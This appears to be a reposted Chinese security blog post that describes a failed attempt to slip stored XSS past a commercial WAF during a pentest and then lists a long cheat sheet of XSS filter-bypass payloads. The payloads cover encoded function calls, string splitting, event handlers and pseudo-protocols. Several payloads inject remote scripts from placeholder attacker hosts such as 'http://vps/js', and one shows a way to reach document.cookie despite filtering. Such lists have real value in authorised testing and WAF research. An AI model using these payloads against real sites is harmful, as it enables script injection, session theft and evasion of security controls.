下班路上偶然间看到这篇文章
文章记录了一个完整xss的绕过思路及流程
针不戳,文章写得真不戳~
美中不足的就是长亭xss waf太弱了(doge)
顺带问一句,有人绕过了阿里云盾的xss防御了吗?
(在阿里云盾面前我就是个凑弟弟)
前言
某次业务上线常规安全测试,有记录操作的功能,猜测存在存储型XSS漏洞,但由于存在长亭WAF被拦截。遂将之前总结的XSS绕过手段逐一测试了下。
0x01 绕过记录
首先尝试生僻标签绕过,拦截
<video src=1 onerror=alert(1)>
<audio src=x onerror=alert(1)>
<button onfocus=alert(1) autofocus>
利用伪协议,拦截
<svg onload="javascript:alert(1)">
添加标签属性进行混淆,比如xmlns属性,拦截
<svg onload="javascript:alert(1)" xmlns="https://www.baidu.com">
利用字符串拼接
使用top对象,拦截
top可以连接对象以及属性或函数
<details open ontoggle=top.alert(1)>
<details open ontoggle=top['alert'](1)>
尝试更换函数,拦截
<details open ontoggle=top['prompt'](1)>
尝试编码绕过函数黑名单,比如url编码,拦截
<details open ontoggle=top['conf'%2b'irm'](1)>
也可尝试其他编码,再尝试前可以先看看eval是否可用
<details open ontoggle=top.eval('u0061u006cu0065u0072u0074u0028u0031u0029')>
eval也拦截,尝试将eval进行编码混淆,拦截
<details open ontoggle=u0065val(atob('YWxlcnQoMSk='))>
编码尝试了URL编码、Unicode编码、Base64编码、JS8编码、JS16编码、Ascii编码等,当然如果eval可以还可执行外部JS代码,但仍全部拦截。
<details open ontoggle=top.eval("appendChild(createElement('script')).src='http://www.w2n1ck.com/xss.js'")>
尝试windows对象,拦截
<img src=1 onerror=window.alert(1)>
尝试利用赋值
<img src=x onerror=_=alert,_(1)>
还是拦截,加点混淆
<img src=x onerror=_=alert;x=1;_(1)>
仍旧拦截,再变形下
<body/onfocus="a=prompt,a`1`">
仍然拦截,变态啊!
尝试利用join函数,拦截
join函数将数组转换成字符串,可以将一些关键字作为数组,再用join连接,转化成字符串
<iframe onload=location=['javasc','ript:al','ert(1)'].join('')>
尝试利用concat函数
concat函数可以用于连接两个或多个数组,还可以合并两个或者多个字符串。
<iframe onload=location=javascri'.concat('pt:aler','t(1)')>
苍天不负,终于不拦截了!
将代码插入业务
愉快的刷新页面,但是并没有弹窗,发现被实体编码了。
原来测试这么久测试了个寂寞,艹。
0x02 技巧整理
1. 拼接
拼接函数:
top、this、self、parent、frames、content、window
比如:
<body/onfocus=top.alert(1)>
<body onpageshow=top['confir'%2b'm'](1)>
<audio src/onerror=self['pro'+'mpt'](1)>
<details ontoggle=this['ale'+'rt']`1` open>
<marquee onstart=top.eval('ale'%2B'rt(1)')>
<img/src=1 onerror=window.alert(1)>
<svg onload="a(this);function a(){}(alert`1`)">
2. 编码
常见的编码类型:URL编码、base64编码、Hex编码、JS8编码、JS16编码、Unicode编码、html编码
既然是编码肯定需要一些函数来执行,比如:eval,setTimeout,setInterval,constructor,execScript(IE)等
# URL
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%31%29'))">
<details open ontoggle=eval('%61%6c%65%72%74%28%31%29') >
<details open ontoggle=%65%76%61%6c(atob('YWxlcnQoMSk=')) >
# base64
<details open ontoggle=eval(atob('YWxlcnQoMSk='))>
# JS8
<body onpageshow=content['141154145162164'](1)>
<svg/onload=setTimeout('141154145162164506151')>
# JS16
<body onpageshow=frames['x61x6cx65x72x74'](1)>
<svg/onload=Set.constructor`alx65rtx281x29```>
<svg/onload=Map.constructor`alx65rtx281x29```>
<svg/onload=clear.constructor`alx65rtx281x29```>
<svg/onload=Array.constructor`alx65rtx281x29```>
<svg/onload=WeakSet.constructor`alx65rtx281x29```>
# unicode
<a href="javascript:alu0065rt()">XSS Test</a>
<a href="javascript:alu{65}rt()">XSS Test</a>
<svg/onload=u0073etInterval('141154145162164506151')>
<svg/onload=setTimeout`promptu00281u0029`>
# Ascii
<img/src=1 onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
3. 字符串
利用正则表达式返回字符串
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
<a href="javascript:window[/alert/.source]()">XSS Test</a>
<a href="javascript:''.replace(/.*/,alert)">XSS Test</a>
<img src=1 onerror=eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))>
利用toString转换字符串。
整数toString(radix)
转字符串, 第一个点表示浮点数,第二个点表示调用函数
<a href="javascript:top[8680439..toString(30)]()">XSS Test</a>
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >
alert
字符串用parseInt
函数,以基数为30转化后为8680439
parseInt('alert',30) == 8680439
toString
函数将返回的数字8680439,以基数为30还原
8680439..toString(30) == alert
4. 函数多样调用
<a href="javascript:alert.call(null,'param')">XSS Test</a>
<a href="javascript:alert.apply(null,['param'])">XSS Test</a>
<a href="javascript:alert.bind()('param')">XSS Test</a>
<a href="javascript:Reflect.apply(alert,null,['param'])">XSS Test</a>
<a href="javascript:setTimeout`alertx28x29`">XSS Test</a>
<a href="javascript:eval(atob())">XSS Test</a>
<a href="javascript:eval(String.fromCharCode(97,108,))">XSS Test</a>
<img src=1 onerror=(function(){alert(1)})()>
<img src=1 onerror=!function(){alert(1)}()>
<img src=1 onerror=%2bfunction(){alert(1)}()>
<img src=1 onerror=%2dfunction(){alert(1)}()>
<img src=1 onerror=~function(){alert(1)}()>
<a href="javascript:(alert)()">XSS Test</a>
模板字符串:反引号``
<a href="javascript:`${alert(1)}`">XSS Test</a>
5. 利用数组等的功能函数
<a href="javascript:[''].find(alert`1`)">XSS Test</a>
<a href="javascript:[''].findIndex(alert(1)">XSS Test</a>
<a href="javascript:[''].filter(alert)">XSS Test</a>
<a href="javascript:[''].forEach(alert)">XSS Test</a>
<a href="javascript:(new Map()).set(1,'').forEach(alert)">XSS Test</a>
<a href="javascript:(new Set([''])).forEach(alert)">XSS Test</a>
利用拼接数组函数
concat()
不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
<iframe onload=s=createElement('script');body.appendChild(s);s.src='http://v'.u0063oncat('ps/','js'); >
再补充个有些防护过滤了document.cookie
可以试下下面的,很爽的
document['coo'['CONCAT'.toLowerCase()]('kie')]
join()
将数组转换成字符串
<iframe onload=location=['javascript:alert(1)'].join(")>
6. 新建函数
<a href="javascript:(new Function('alert()'))()">XSS Test</a>
<body/onload=Function(alert(1))()>
<img%0Dsrc=1 onerror=Function(alert(1))>
<a href="javascript:Set.constructor`alertx28x29```">XSS Test</a>
<a href="javascript:(new (Object.getPrototypeOf(async function(){}).constructor)('alert()'))()">XSS Test</a>
7. location
location
对象的hash
属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1)
,我们在控制台输入location.hash
,则会返回我们设定的锚
,即#alert(1)
。
再结合slice()
、substr()
等字符串处理函数获取字符串
<body/onload=eval(location.hash.slice(1))>#alert(1)
<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)
<body/onload=Set.constructor(location.hash.substr(1))()>#alert(1)
<body/onload=execScript(location.hash.substr(1))>#alert(1)
使用Function匿名函数来执行尾部的代码
<body/onload=Function(location.hash.slice(1))()>#alert(1)
同样的道理location.search
也类似,它可以把部分参数放在?
之后
# dom.html
<html>
<body>
<script>
document.write(decodeURI(window.location.search));
</script>
</body>
</html>
# payload
dom.html?<svg/onload=alert(1)
1.php?(1)&code=<img/src=1 onerror=a=location.search;location="javascript:alert"+a[1]+a[2]+a[3]>
再比如:
<svg onload=eval(URL.slice(-8))>#alert(1)
9. 伪协议
常见的伪协议有:javascript:
,vbscript:
(IE下),data:
<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)
<body/onload=eval(location.hash.slice(1))>#vbscript:msgbox(1)
<a href="javascript:confirm(1)">XSS Test</a>
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1)">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<iframe/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<video><source onerror="javascript:confirm(1);">
<img src=1 onerror=location="javascript:alert(1)">
# 使用xmlns属性
<svg/onload="javascript:alert(1)" xmlns="http://www.baidu.com">
# 使用注释
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
# innerHTML
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>" #"-alert(1)
10. unescape
unescape()
函数用于对已经使用escape()
函数编码的字符串进行解码,并返回解码后的字符串。
很多会拦截外部url
,比如拦截//
<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>
11. with
with
用来引用某个特定对象中已有的属性,使用with可以实现通过节点名称的对象调用。
如果.
被拦截,可以使用with
替代。
<svg/onload=with(location)with(hash)eval(alert(1))>
基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。
<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://vps/js'})">
12. 过滤括号
<svg/onload="window.onerror=eval;throw'=alertx281x29';">
<img/src=1 onerror="top.onerror=alert; throw 1">
<img src=x onerror=alert`1`>
<img src=1 onerror=alert%28%29>
<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">
13. 引用外部url
创建和插入节点把外部JS文件注入到网页
<details open ontoggle=eval("appendChild(createElement('script')).src='http://vps/js'")>
<iframe onload=s=createElement('script');body.appendChild(s);s.src='http://v'.concat('ps/','js');>
<body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,118,112,115,47,106,115,62,60,47,115,67,82,105,112,84,62))>
利用link
<link rel=import href="http://vps/1.js">
14. 赋值
# 变量
<img/src=1 onerror=_=alert,_(1)>
<style onload=_=alert;_(1)>
<details/open/ontoggle=_=alert;x=1;_`1`>
<details open ontoggle=top[a='al',b='ev',b%2ba](prompt(1))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('141154145162164506151')>
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('141154145162164506151')>
# 函数
<img/src=1 onmouseover="a=alert,a`1`">
# 属性
<img src=1 alt=al lang=ert onerror=top[alt%2blang](1)>
15. 黑名单
以alert(1)
为例
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
self[/al/.source+/ert/.source](1)
alu0065rt(1)
frames['al145rt'](1)
content[8680439..toString(30)](1)
16. 标签
16.1. body
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#></a>
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x
16.2. 其他
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
太多了,再次提醒大家好好看看这个网站:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
17. 事件捕获
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003
18. 属性
# src
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
# href
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
# action
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
# formaction
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click>
# data
<object data=javascript:alert(1)>
# srcdoc
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
# xlink:href
<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
# from
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>
参考文章
https://www.w2n1ck.com/article/33/
怕什么真理无穷,进一寸有进一寸的欢喜
本文始发于微信公众号(一个安全研究员):干不过阿里云盾,我还干不过长亭WAF?
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论